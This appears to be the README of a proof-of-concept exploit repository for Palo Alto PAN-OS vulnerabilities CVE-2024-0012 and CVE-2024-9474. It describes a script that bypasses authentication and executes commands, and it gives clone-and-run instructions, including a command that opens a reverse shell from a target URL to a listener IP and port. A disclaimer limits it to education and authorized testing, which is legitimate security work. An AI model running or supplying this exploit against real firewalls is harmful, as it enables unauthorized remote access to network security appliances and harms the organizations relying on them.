
This PoC is targeting vulnerabilities in Palo Alto PAN-OS, specifically CVE-2024-0012 and CVE-2024-9474. This script automates the exploitation process, including payload creation, chunked delivery, and seamless command execution.
This Proof-of-Concept (PoC) script targeting vulnerabilities in Palo Alto PAN-OS, specifically CVE-2024-0012 and CVE-2024-9474 by automating the exploitation process, including autentication bypass, payload creation, chunked delivery, and seamless command execution.
⚠️ This script is for educational and authorized penetration testing purposes only. Unauthorized use is illegal.
git clone https://github.com/TalatumLabs/CVE-2024-0012_CVE-2024-9474_PoC.git
cd CVE-2024-0012_CVE-2024-9474_PoC
python -W ignore poc.py <TARGET_URL> <LISTENER_IP> <LISTENER_PORT>
<TARGET_URL>: The target URL, including http or https.<LISTENER_IP>: Your IP address for the reverse shell listener.<LISTENER_PORT>: The port for the reverse shell listener.python -W ignore poc.py https://target.pan-os-system.com 192.168.1.100 4444
Get the full breakdown and technical insights into this PoC from this Medium Write-up!
This PoC is intended for educational purposes and authorized security testing only. Unauthorized use of this tool is strictly prohibited. The authors are not responsible for any misuse or damage caused by this tool.